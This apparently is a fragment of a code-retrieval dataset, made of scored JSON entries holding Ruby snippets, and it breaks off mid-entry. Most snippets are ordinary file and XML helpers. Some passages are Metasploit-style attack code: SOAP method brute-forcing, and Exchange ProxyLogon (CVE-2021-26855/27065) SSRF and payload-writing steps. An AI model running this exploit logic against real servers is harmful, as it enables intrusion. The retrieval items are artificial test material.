"15b85e49d8b62bf7eb414e88a9ce8657", "score": "0.48864752", "text": "def read\n begin\n Feedjira::Feed.fetch_and_parse(@url)\n rescue\n false\n end\n end", "title": "" }, { "docid": "29ccdd457caeec4d7e301f9131e8829a", "score": "0.4882608", "text": "def show\n @bundle = Bundle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bundle }\n end\n end", "title": "" }, { "docid": "036f73ec58e1293cdb73a95f9f9a8745", "score": "0.4879522", "text": "def recipe_object\n #THIS NEEDS TO BE MORE ROBUST. FIGURE OUT WHAT TO DO WITH ILLEGAL BEER XML\n begin\n @recipe_object ||= Beerxml.parse(xml)[0]\n rescue\n raise \"Brewser could not parse XML\"\n end\n end", "title": "" }, { "docid": "e6a3b44378f1a6a04b4bfab48cd92110", "score": "0.48753262", "text": "def load_metadata(repo, ref)\n metadata_content = read_content(repo, ref, Ridley::Chef::Cookbook::Metadata::RAW_FILE_NAME)\n cookbook_metadata = Ridley::Chef::Cookbook::Metadata.new\n cookbook_metadata.instance_eval(metadata_content)\n cookbook_metadata\n rescue => ex\n nil\n end", "title": "" }, { "docid": "21d09c5ac2d4b7a0b06d08f0db2a5524", "score": "0.48682612", "text": "def list_bundles\n BrickFTP::API::Bundle.all\n end", "title": "" }, { "docid": "21d09c5ac2d4b7a0b06d08f0db2a5524", "score": "0.48682612", "text": "def list_bundles\n BrickFTP::API::Bundle.all\n end", "title": "" }, { "docid": "9eae1b5dd74243b99611dd486956f6d4", "score": "0.48625946", "text": "def read( nexml )\n case nexml\n when /\\.xml$/\n XML::Reader.file( nexml, :options => parse_opts )\n when IO\n XML::Reader.io( nexml, :options => parse_opts )\n when String\n XML::Reader.string( nexml, :options => parse_opts )\n end\n end", "title": "" }, { "docid": "54a5769201e3f8d9b59ab7ed9f9a7d2f", "score": "0.4845869", "text": "def read_template(name)\n File.open(\"#{resource_template_dir}/#{name}.yaml\").read\n end", "title": "" }, { "docid": "f70fd45646f459ee892d3f1ee65d499a", "score": "0.48454204", "text": "def show_bundle(id)\n BrickFTP::API::Bundle.find(id)\n end", "title": "" }, { "docid": "f70fd45646f459ee892d3f1ee65d499a", "score": "0.4843909", "text": "def show_bundle(id)\n BrickFTP::API::Bundle.find(id)\n end", "title": "" }, { "docid": "a5d87284c1d8dd4c9a57277011c95296", "score": "0.48245645", "text": "def parse_bundle_collection(body)\n dom = parse_and_validate_response(body, :root_name => 'bundles')\n dom.root.elements.collect('bundle') { |xml| Bundle.from_rexml(xml) }\n end", "title": "" }, { "docid": "da9bd21e468639ee8183641ab4c22280", "score": "0.4824424", "text": "def deserialize(xml, options = {})\n build_resource(REXML::Document.new(xml).root)\n end", "title": "" }, { "docid": "8fb76950b58fb3dbf1c8e37753ed43a7", "score": "0.48028266", "text": "def contents\n read\n end", "title": "" }, { "docid": "20b989f9545c01f23b11bfe89c2b9a93", "score": "0.47989064", "text": "def get_item(rel_path) \n # Remove anchors\n rel_path.sub!(/#.*$/, \"\")\n\n base = ::File.dirname(filepath)\n path = ::File.join(base, rel_path)\n path = Pathname.new(path).cleanpath.to_s\n\n item = @epub.manifest.item_for_path(path.to_s)\n\n if !item\n raise \"Failed to find item in manifest for #{rel_path}\"\n end\n\n item\n end", "title": "" }, { "docid": "030848cfee59a8e7446e6d31db69a2db", "score": "0.47893903", "text": "def read_search_term_file(file_name)\n file = File.open \"jobs/twitter_resources/#{file_name}.json\"\n data = JSON.load file\n file.close\n return data[\"search_terms\"]\nend", "title": "" }, { "docid": "209c3c186efd0828782c98e88d2dca08", "score": "0.47852767", "text": "def load_resource_relative(path, mode='r')\n\n absolute_path = File.dirname(caller_locations(1,1)[0].path) + '/' + path\n if absolute_path.to_s.chars.first == ':'\n absolute_path = OpenStudio.get_absolute_path(absolute_path)\n end\n\n if EmbeddedScripting::hasFile(absolute_path)\n return EmbeddedScripting::getFileAsString(absolute_path)\n end\n\n result = \"\"\n if File.exists?(absolute_path)\n File.open(absolute_path, mode) do |file|\n result = file.read\n end\n elsif File.exists?(path)\n File.open(path, mode) do |file|\n result = file.read\n end\n end\n return result\n end", "title": "" }, { "docid": "7da0840d51065d9bbfed1931777d0929", "score": "0.4782769", "text": "def get_platform_recipe\n # TODO: we may want to move the path from the top level\n path = \"#{config[:kitchen_root]}/#{instance.platform.name}\"\n file = File.open(path, \"rb\")\n contents = file.read\n file.close\n contents\n end", "title": "" }, { "docid": "02fb2a82f9376b14357c9f6c3c1378fb", "score": "0.47799486", "text": "def read(entry)\n get_input_stream(entry, &:read)\n end", "title": "" }, { "docid": "7f6b2212ecdb9898d224d7182d2a98e2", "score": "0.47789446", "text": "def get_resources\n init_folder unless @init # have I been initialized?\n return @resources \n end", "title": "" }, { "docid": "5851725e351c82a7226448d7533b7191", "score": "0.4760221", "text": "def cib_section_lrm_resources(lrm)\n return unless lrm.is_a? REXML::Element\n REXML::XPath.match lrm, 'lrm_resources/lrm_resource'\n end", "title": "" }, { "docid": "bf07f9a96196913e257da6851333e87b", "score": "0.47447717", "text": "def dor_resource_content_type\n public_xml_doc.xpath('//contentMetadata/resource/@type').map(&:text)\n end", "title": "" }, { "docid": "586be6491d4168d0772c4b8d88468dd0", "score": "0.47430447", "text": "def bundle_id\n read('bundle_id')\n end", "title": "" }, { "docid": "c0fa2aa28a371cc15098709642c6dd27", "score": "0.47408283", "text": "def resource path\n File.expand_path \"resources/#{path}\", __dir__\n end", "title": "" }, { "docid": "e2e59a838ad48d69e75e20ba5233c65f", "score": "0.4739866", "text": "def resources\n Loader.resources.keys\n end", "title": "" }, { "docid": "91d44c0af20756be8a9179a59bb9265d", "score": "0.4739308", "text": "def fetch_rdf\n @doc = Nokogiri::XML(open(@url))\n @root_node = @doc.xpath(\"/rdf:RDF/rdf:Description\", @@NAMESPACES)\n end", "title": "" }, { "docid": "fa9109702091fa45f3de51da550eb3e9", "score": "0.47317842", "text": "def util_read_spec(filename)\n unless Gem::VERSION >= \"2.0.0\"\n io = File.open(filename, \"rb\")\n Gem::Package.open(io, \"r\") { |x| x.metadata }\n else\n Gem::Package.new(filename).spec\n end\n end", "title": "" }, { "docid": "fa9109702091fa45f3de51da550eb3e9", "score": "0.47317842", "text": "def util_read_spec(filename)\n unless Gem::VERSION >= \"2.0.0\"\n io = File.open(filename, \"rb\")\n Gem::Package.open(io, \"r\") { |x| x.metadata }\n else\n Gem::Package.new(filename).spec\n end\n end", "title": "" }, { "docid": "8c3401a1d597df141996a0ff079ae9b4", "score": "0.4718134", "text": "def load_resource(path, args=nil)\n service.get(path, args)\n end", "title": "" }, { "docid": "279cf1566271155939a2991089f88aff", "score": "0.47170144", "text": "def read_xml(xml)\n REXML::Document.new(File.read(xml)).root\nend", "title": "" }, { "docid": "d13f6e9c4b566600a4ee9a9f8e1c068f", "score": "0.47155446", "text": "def bundles(app_name)\n\t\tdoc = xml(get(\"/apps/#{app_name}/bundles\"))\n\t\tdoc.elements.to_a(\"//bundles/bundle\").map do |a|\n\t\t\t{\n\t\t\t\t:name => a.elements['name'].text,\n\t\t\t\t:state => a.elements['state'].text,\n\t\t\t\t:created_at => Time.parse(a.elements['created-at'].text),\n\t\t\t}\n\t\tend\n\tend", "title": "" }, { "docid": "d0fdb0809f077a2c44993244bf10464b", "score": "0.471539", "text": "def read_content(dir, magic_dir)\n @site.reader.get_entries(dir, magic_dir).map do |entry|\n Draft.new(site, site.source, dir, entry) if Draft.valid?(entry)\n end.reject do |entry|\n entry.nil?\n end\n end", "title": "" }, { "docid": "5ab2d55fe0fe3228152e255395ab3775", "score": "0.47114804", "text": "def read_articles\n JSON.parse(File.read(\"articles.json\"))\nend", "title": "" }, { "docid": "f2cd6a5f19dba9209c7ccf7596fc497d", "score": "0.4706974", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bundle_content }\n end\n end", "title": "" }, { "docid": "e311cb385899e033e5f72a0c06749df7", "score": "0.4706068", "text": "def content\n @content ||= IO.read(path)\n rescue Errno::ENOENT\n raise NoPackageFile.new(path)\n end", "title": "" }, { "docid": "7031172acab8fcbdde6e11a7b0065fe0", "score": "0.46978313", "text": "def read\n @contents ||= File.read @src_path if readable?\n end", "title": "" }, { "docid": "1d9df84b36b2f8a4b7dbdd96ae894c8d", "score": "0.4696518", "text": "def get_content(uri, eadid)\n file = fixture_dir.glob(\"**/*.EAD.xml\").find { |x| x.to_s.ends_with?(\"#{eadid}.EAD.xml\") }\n return File.read(file) if file.present?\n client.get(\"#{uri}.xml\", query: { include_daos: true, include_unpublished: false }, timeout: 1200).body.force_encoding(\"UTF-8\")\n end", "title": "" } ]
059e797836a7dfdf2f29d1ad8a0d83e2
exec against a live local API server used for script access to a local API server or database.
[ { "docid": "3ea83796a65d39075f0e0e7173ff6d5b", "score": "0.5622941", "text": "def ensure_docker_api(cmd_name, args)\n if Workbench.in_docker?\n return\n end\n Process.wait spawn(*(%W{docker-compose exec api ./project.rb #{cmd_name}} + args))\n unless $?.exited? and $?.success?\n Common.new.error \"command against docker-compose service 'api' failed, \" +\n \"please verify your local API server is running (dev-up \" +\n \"or run-api)\"\n end\n if $?.exited?\n exit $?.exitstatus\n end\n exit 1\nend", "title": "" } ]
[ { "docid": "688e16a9738d967a7e5b2df83070d300", "score": "0.61163646", "text": "def hit_api_local\n # Authentication info\n pass = ENV['stugov_api_user']\n priv = ENV['stugov_api_pass']\n # Our base URL hosted on stugov's server\n base_url = ENV['stugov_api_base_url']\n\n # We make a sha256 hash of this in binary format, then base64 encode that\n digest = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new(\"sha256\"), priv, pass)).chomp\n\n url = base_url + \"?resource=\" + @resource + @url_options\n return send_request(url, digest)\n end", "title": "" }, { "docid": "aa812cbf5405a953f1089cfd310e42e8", "score": "0.6101523", "text": "def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end", "title": "" }, { "docid": "2527982119eeccec59c13e231fa476b9", "score": "0.6084706", "text": "def remote_exec(cmd)\n req = JsonRequest.new(\"remote_exec:exec\", [@agent_id, cmd])\n res = Bixby.client.exec_api(req)\n assert res\n assert_kind_of JsonResponse, res\n assert res.success?\n\n cr = CommandResponse.from_json_response(res)\n assert cr\n assert cr.success?, \"remote exec should succeed\"\n cr\n end", "title": "" }, { "docid": "ea6fdcdbcc484b70c9b3194a3c6e7001", "score": "0.5980271", "text": "def exec_api(json_req)\n begin\n req = sign_request(json_req)\n return HttpChannel.new(api_uri).execute(req)\n rescue Curl::Err::CurlError => ex\n return JsonResponse.new(\"fail\", ex.message)\n end\n end", "title": "" }, { "docid": "d1d035451e7b37f8bdae391185242ddc", "score": "0.59677327", "text": "def execute\n uri = request_uri\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n retries = Europeana.max_retries\n \n begin\n response = http.request(request)\n rescue Timeout::Error, Errno::ECONNREFUSED, EOFError\n retries -= 1\n raise unless retries > 0\n sleep Europeana.retry_delay\n retry\n end\n \n json = JSON.parse(response.body)\n raise Errors::RequestError, json['error'] unless json['success']\n json\n rescue JSON::ParserError\n raise Errors::ResponseError\n end", "title": "" }, { "docid": "84813c7c5be432c9481f0689484bb692", "score": "0.5863812", "text": "def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n username = URI.encode(@info_values[\"api_username\"])\n password = @info_values[\"api_password\"]\n error_handling = @parameters[\"error_handling\"]\n\n route_base = \"#{server}/app/api/v1/teams\"\n\n puts \"API ROUTE: #{route_base}\" if @debug_logging_enabled\n\n resource = RestClient::Resource.new(route_base, { :user => username, :password => password })\n\n # Building the object that will be sent to Kinetic Core\n dataHash = {}\n\tdataHash[\"name\"] = @parameters[\"team_name\"]\n\tif !@parameters[\"members\"].empty?\n\t\tmembers = JSON.parse(@parameters[\"members\"])\n\t\tmembership = []\n\t\tmembers.each do |member|\n\t\t username = {}\n\t\t username[\"username\"] = member\n\t\t user = {}\n\t\t user[\"user\"] = username\n\t\t membership.push(user)\n\t\tend\n\t\tdataHash[\"memberships\"] = membership\n\tend\n\n\tputs \"DATA: #{dataHash.to_json}\" if @debug_logging_enabled\n\tbegin\n\t#create\n response = resource.post(dataHash.to_json, { accept: :json, content_type: :json })\n\n\n # Build the results to be returned by this handler\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n </results>\n RESULTS\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end\n end", "title": "" }, { "docid": "768fe20c176e0e0aa1a6b53dfa0fa8e0", "score": "0.5833832", "text": "def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end", "title": "" }, { "docid": "4e9945bf27835ec54db640d2800c5466", "score": "0.58043504", "text": "def exec; end", "title": "" }, { "docid": "4e9945bf27835ec54db640d2800c5466", "score": "0.58043504", "text": "def exec; end", "title": "" }, { "docid": "63fa68751258d938e875545665c05060", "score": "0.5795134", "text": "def execute\r\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\r\n if @info_values['api_server'].include?(\"${space}\")\r\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\r\n elsif !space_slug.to_s.empty?\r\n server = @info_values['api_server']+\"/\"+space_slug\r\n else\r\n server = @info_values['api_server']\r\n end\r\n\r\n api_username = URI.encode(@info_values[\"api_username\"])\r\n api_password = @info_values[\"api_password\"]\r\n error_handling = @parameters[\"error_handling\"]\r\n team_name = @parameters[\"team_name\"]\r\n\r\n begin\r\n team_slug = Digest::MD5.hexdigest team_name\r\n puts \"Derived slug from team name #{team_name} is #{team_slug}\" if @debug_logging_enabled\r\n \r\n api_route = \"#{server}/app/api/v1/teams/#{team_slug}\"\r\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\r\n response = resource.delete()\r\n puts \"Response from the delete call #{response}\" if @debug_logging_enabled\r\n\r\n rescue Exception => error\r\n error_message = error.inspect\r\n raise error if error_handling == \"Rasie Error\"\r\n end\r\n\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">#{escape(error_message)}</result>\r\n <result name=\"Response\">#{escape( response )}</result>\r\n </results>\r\n RESULTS\r\n end", "title": "" }, { "docid": "308f697030d59352a40ec23ab493d464", "score": "0.5792949", "text": "def run()\n command = \"%s %s\" % [:api, raw]\n Log.debug \"saying #{command}\"\n @fs_socket.say(command)\n end", "title": "" }, { "docid": "bc5deb2ee56e4dde9cd6cc4697efde02", "score": "0.57801557", "text": "def execute_remote\n\t\tcurAp = @apListBox.value;\n\t\tcmd = getVal(\"exec-remote on #{curAp.ip}\");\n\t\treturn if cmd.nil? or cmd == \"\";\n\n\t\ta = curAp.execute_remote(cmd).split( \"\\n\" );\n\t\[email protected]\n\t\ta.each { |line|\n\t\t\[email protected]( \"#{line}\", {});\n\t\t}\n\tend", "title": "" }, { "docid": "d9052565183bee34b4ff96adc000048c", "score": "0.5722857", "text": "def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n api_username = URI.encode(@info_values[\"api_username\"])\n api_password = @info_values[\"api_password\"]\n api_server = @info_values[\"api_server\"]\n kapp_slug = @parameters[\"kapp_slug\"]\n form_slug = @parameters[\"form_slug\"]\n query = @parameters[\"query\"]\n error_handling = @parameters[\"error_handling\"]\n\n api_route = \"#{server}/app/api/v1/kapps/#{kapp_slug}/forms/#{form_slug}/submissions\" +\n \"?include=details,origin,parent,form,type&limit=1&q=#{URI.escape(query)}\"\n\n puts \"API ROUTE: #{api_route}\" if @enable_debug_logging\n\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\n\n response = resource.get\n\n # if the user record did not exist\n if response.nil?\n <<-RESULTS\n <results>\n <result name=\"ID\"></result>\n <result name=\"Label\"></result>\n <result name=\"Origin\"></result>\n <result name=\"Parent\"></result>\n <result name=\"Submitted At\"></result>\n <result name=\"Type\"></result>\n <result name=\"Updated At\"></result>\n <result name=\"Updated By\"></result>\n <result name=\"Closed At\"></result>\n <result name=\"Core State\"></result>\n <result name=\"Created At\"></result>\n <result name=\"Created By\"></result>\n <result name=\"Form Description\"></result>\n <result name=\"Form Name\"></result>\n <result name=\"Form Notes\"></result>\n <result name=\"Form Slug\"></result>\n <result name=\"Form Status\"></result>\n </results>\n RESULTS\n else\n\n allresults = JSON.parse(response)[\"submissions\"]\n puts \"Full RESULTS: #{allresults.inspect}\" if @enable_debug_logging\n results = allresults[0]\n\n puts \"RESULTS: #{results.inspect}\" if @enable_debug_logging\n\n if results.nil?\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n <result name=\"ID\"></result>\n <result name=\"Label\"></result>\n <result name=\"Origin\"></result>\n <result name=\"Parent\"></result>\n <result name=\"Submitted At\"></result>\n <result name=\"Type\"></result>\n <result name=\"Updated At\"></result>\n <result name=\"Updated By\"></result>\n <result name=\"Closed At\"></result>\n <result name=\"Core State\"></result>\n <result name=\"Created At\"></result>\n <result name=\"Created By\"></result>\n <result name=\"Form Description\"></result>\n <result name=\"Form Name\"></result>\n <result name=\"Form Notes\"></result>\n <result name=\"Form Slug\"></result>\n <result name=\"Form Status\"></result>\n </results>\n RESULTS\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n <result name=\"ID\">#{escape(results[\"id\"])}</result>\n <result name=\"Label\">#{escape(results[\"label\"])}</result>\n <result name=\"Origin\">#{escape(results[\"origin\"])}</result>\n <result name=\"Parent\">#{escape(results[\"parent\"])}</result>\n <result name=\"Submitted At\">#{escape(results[\"submittedAt\"])}</result>\n <result name=\"Type\">#{escape(results[\"type\"])}</result>\n <result name=\"Updated At\">#{escape(results[\"updatedAt\"])}</result>\n <result name=\"Updated By\">#{escape(results[\"updatedBy\"])}</result>\n <result name=\"Closed At\">#{escape(results[\"closedAt\"])}</result>\n <result name=\"Core State\">#{escape(results[\"coreState\"])}</result>\n <result name=\"Created At\">#{escape(results[\"createdAt\"])}</result>\n <result name=\"Created By\">#{escape(results[\"createdBy\"])}</result>\n <result name=\"Form Description\">#{escape(results[\"form\"][\"description\"])}</result>\n <result name=\"Form Name\">#{escape(results[\"form\"][\"name\"])}</result>\n <result name=\"Form Notes\">#{escape(results[\"form\"][\"notes\"])}</result>\n <result name=\"Form Slug\">#{escape(results[\"form\"][\"slug\"])}</result>\n <result name=\"Form Status\">#{escape(results[\"form\"][\"status\"])}</result>\n </results>\n RESULTS\n end\n end\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end", "title": "" }, { "docid": "36b1042fefe822ac1b6c0bd1f03b9a13", "score": "0.5627582", "text": "def exec(cmd, *rest) end", "title": "" }, { "docid": "3b1f104fd7ba30c3efd6e1ca34819db1", "score": "0.56178844", "text": "def iboxExecute(ibox_ip, ibox_port, instruction, user, password)\n require 'net/http'\n require 'uri'\n ws = 'http://' + ibox_ip + ':' + ibox_port\n url = URI.parse(ws)\n begin\n req = Net::HTTP::Get.new(url.path + instruction )\n req.basic_auth user, password\n res = Net::HTTP.start(url.host, url.port) { |http| http.request(req) }\n #escribo archivo de texto con la salida del web service\n path = Rails.root.to_s + '/tmp/server' + session[:user_id].to_s + session[:ibox_id].to_s + '.txt'\n f_out = File.new(path,'w')\n f_out.puts res.body\n f_out.close\n res = Array.new\n f_in = File.open(path,'r') do |f|\n while line = f.gets\n res << line.to_s.chomp\n end\n end\n File.delete(path)\n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError,SocketError => e\n end\n res\n end", "title": "" }, { "docid": "db6e30cf3f480ee422db96efe4e9220e", "score": "0.5599476", "text": "def executeadb(token, rid , adbcommand)\nuri = URI.parse(\"https://device.pcloudy.com/api/execute_adb\")\n@toSend = {\n \"token\" => token , \"rid\" => rid, \"adbCommand\" => adbcommand\n}.to_json\n\nhttps = Net::HTTP.new(uri.host,uri.port)\nhttps.use_ssl = true\n\nreq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})\n\nreq.body = \"#{@toSend}\"\nres = https.request(req)\nputs \"Response #{res.code} #{res.message}: #{res.body}\"\nadbresp = JSON.parse(res.body)\noutput = adbresp[\"result\"][\"adbreply\"]\nputs output\nreturn output\nend", "title": "" }, { "docid": "d8241ea2002de5736e290ea38b9b7df9", "score": "0.5589718", "text": "def exec_server; Ricer4::Server.where(:conector => 'shell').first; end", "title": "" }, { "docid": "9ee51d45afa6f3c8e506654de9607c82", "score": "0.55772626", "text": "def run_host(ip)\n\n\t\tverbs = [\n\t\t\t\t'get',\n\t\t\t\t'active',\n\t\t\t\t'create',\n\t\t\t\t'change',\n\t\t\t\t'set',\n\t\t\t\t'put',\n\t\t\t\t'do',\n\t\t\t\t'go',\n\t\t\t\t'resolve',\n\t\t\t\t'start',\n\t\t\t\t'recover',\n\t\t\t\t'initiate',\n\t\t\t\t'negotiate',\n\t\t\t\t'define',\n\t\t\t\t'stop',\n\t\t\t\t'begin',\n\t\t\t\t'end',\n\t\t\t\t'manage',\n\t\t\t\t'administer',\n\t\t\t\t'modify',\n\t\t\t\t'register',\n\t\t\t\t'log',\n\t\t\t\t'add',\n\t\t\t\t#'delete', # Best to be safe!\n\t\t\t]\n\n\t\tnouns = [\n\t\t\t\t'password',\n\t\t\t\t'task',\n\t\t\t\t'pass',\n\t\t\t\t'administration',\n\t\t\t\t'account',\n\t\t\t\t'admin',\n\t\t\t\t'login',\n\t\t\t\t'token',\n\t\t\t\t'credentials',\n\t\t\t\t'credential',\n\t\t\t\t'key',\n\t\t\t\t'guid',\n\t\t\t\t'message',\n\t\t\t\t'user',\n\t\t\t\t'username',\n\t\t\t\t'load',\n\t\t\t\t'list',\n\t\t\t\t'name',\n\t\t\t\t'file',\n\t\t\t\t'path',\n\t\t\t\t'directory',\n\t\t\t\t'configuration',\n\t\t\t\t'config',\n\t\t\t\t'setting',\n\t\t\t\t'settings',\n\t\t\t\t'registry',\n\t\t\t\t'on',\n\t\t\t\t'off',\n\t\t\t]\n\n\t\ttarget_port = datastore['RPORT']\n\t\tvhost = datastore['VHOST'] || wmap_target_host || ip\n\n\t\tbegin\n\t\t\t# Check service exists\n\t\t\tres = send_request_raw({\n\t\t\t\t'uri' => datastore['PATH'],\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'vhost' => vhost,\n\t\t\t}, 10)\n\n\t\t\tif (res.code == 200)\n\t\t\t\tprint_status(\"PATH appears to be OK.\")\n\n\t\t\t\tverbs.each do |v|\n\t\t\t\t\tnouns.each do |n|\n\n\t\t\t\t\t\t# This could be cleaned up - patrickw\n\t\t\t\t\t\tdata = '<?xml version=\"1.0\" encoding=\"utf-8\"?>' + \"\\r\\n\"\n\t\t\t\t\t\tdata << '<soap:Envelope xmlns:xsi=\"' + datastore['XMLINSTANCE'] + '\" xmlns:xsd=\"' + datastore['XMLSCHEMA'] + '\" xmlns:soap=\"' + datastore['XMLSOAP'] + '\">' + \"\\r\\n\"\n\t\t\t\t\t\tdata << '<soap:Body>' + \"\\r\\n\"\n\t\t\t\t\t\tdata << \"<#{v}#{n}\" + \" xmlns=\\\"#{datastore['XMLNAMESPACE']}\\\">\" + \"\\r\\n\"\n\t\t\t\t\t\tdata << \"</#{v}#{n}>\" + \"\\r\\n\"\n\t\t\t\t\t\tdata << '</soap:Body>' + \"\\r\\n\"\n\t\t\t\t\t\tdata << '</soap:Envelope>' + \"\\r\\n\\r\\n\"\n\n\t\t\t\t\t\tres = send_request_raw({\n\t\t\t\t\t\t\t'uri' => datastore['PATH'] + '/' + v + n,\n\t\t\t\t\t\t\t'method' => 'POST',\n\t\t\t\t\t\t\t'vhost' => vhost,\n\t\t\t\t\t\t\t'data'\t\t=> data,\n\t\t\t\t\t\t\t'headers' =>\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t'Content-Length' => data.length,\n\t\t\t\t\t\t\t\t\t'SOAPAction'\t=> '\"' + datastore['XMLNAMESPACE'] + v + n + '\"',\n\t\t\t\t\t\t\t\t\t'Expect'\t=> '100-continue',\n\t\t\t\t\t\t\t\t\t'Content-Type'\t=> datastore['CONTENTTYPE'],\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}, 15)\n\n\t\t\t\t\t\tif (res && !(res.body.empty?))\n\t\t\t\t\t\t\tif (res.body =~ /method name is not valid/)\n\t\t\t\t\t\t\t\tprint_status(\"Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.\")\n\t\t\t\t\t\t\telsif (res.message =~ /Cannot process the message because the content type/)\n\t\t\t\t\t\t\t\tprint_status(\"Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.\")\n\t\t\t\t\t\t\t\tres.message =~ /was not the expected type\\s\\'([^']+)'/\n\t\t\t\t\t\t\t\tprint_status(\"Set CONTENTTYPE to \\\"#{$1}\\\"\")\n\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\telsif (res.code == 404)\n\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tprint_status(\"Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.\")\n\t\t\t\t\t\t\t\t## Add Report\n\t\t\t\t\t\t\t\treport_note(\n\t\t\t\t\t\t\t\t\t:host\t=> ip,\n\t\t\t\t\t\t\t\t\t:proto\t=> 'HTTP',\n\t\t\t\t\t\t\t\t\t:port\t=> rport,\n\t\t\t\t\t\t\t\t\t:type\t=> \"SOAPAction: #{v}#{n}\",\n\t\t\t\t\t\t\t\t\t:data\t=> \"SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.\"\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tif datastore['DISPLAYHTML']\n\t\t\t\t\t\t\t\t\tprint_status(\"The HTML content follows:\")\n\t\t\t\t\t\t\t\t\tprint_status(res.body + \"\\r\\n\")\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\telse\n\t\t\tprint_status(\"Server did not respond with 200 OK.\")\n\t\t\tprint_status(res.to_s)\n\t\tend\n\t\trescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n\t\trescue ::Timeout::Error, ::Errno::EPIPE\n\t\tend\n\tend", "title": "" }, { "docid": "f53a14aff17472c596cd334027dab93e", "score": "0.5561052", "text": "def run_host(ip)\n\n\t\tself.target_port = datastore['RPORT']\t\n\n\t\tbegin\n\t\t\tres = send_request_raw({\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET'\n\t\t\t}, 10)\n\n\t\t\tif (res and res.headers['Server'])\n\t\t\t\textra = http_fingerprint(res)\n\t\t\t\tprint_status(\"#{ip} is running #{res.headers['Server']}#{extra}\")\n\n\t\t\t\trep_id = wmap_base_report_id(\n\t\t\t\t\t\twmap_target_host,\n\t\t\t\t\t\twmap_target_port,\n\t\t\t\t\t\twmap_target_ssl\n\t\t\t\t)\n\t\t\t\twmap_report(rep_id,'WEB_SERVER','TYPE',\"#{res.headers['Server']}#{extra}\",nil)\n\t\t\tend\n\t\t\t\n\t\trescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n\t\trescue ::Timeout::Error, ::Errno::EPIPE\n\t\tend\n\n\tend", "title": "" }, { "docid": "cdae1640efe1a9956cb1c271d5b94b16", "score": "0.55447596", "text": "def run_cve_2021_27065(server_name, canary, oab_id)\n # set external url (and set the payload).\n print_status(' * prepare the payload on the remote target')\n input_name = install_payload(server_name, canary, oab_id)\n\n fail_with(Failure::Unknown, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status(' * write the payload on the remote target')\n remote_file = write_payload(server_name, canary, oab_id)\n\n fail_with(Failure::Unknown, 'Could\\'t write the payload on the remote 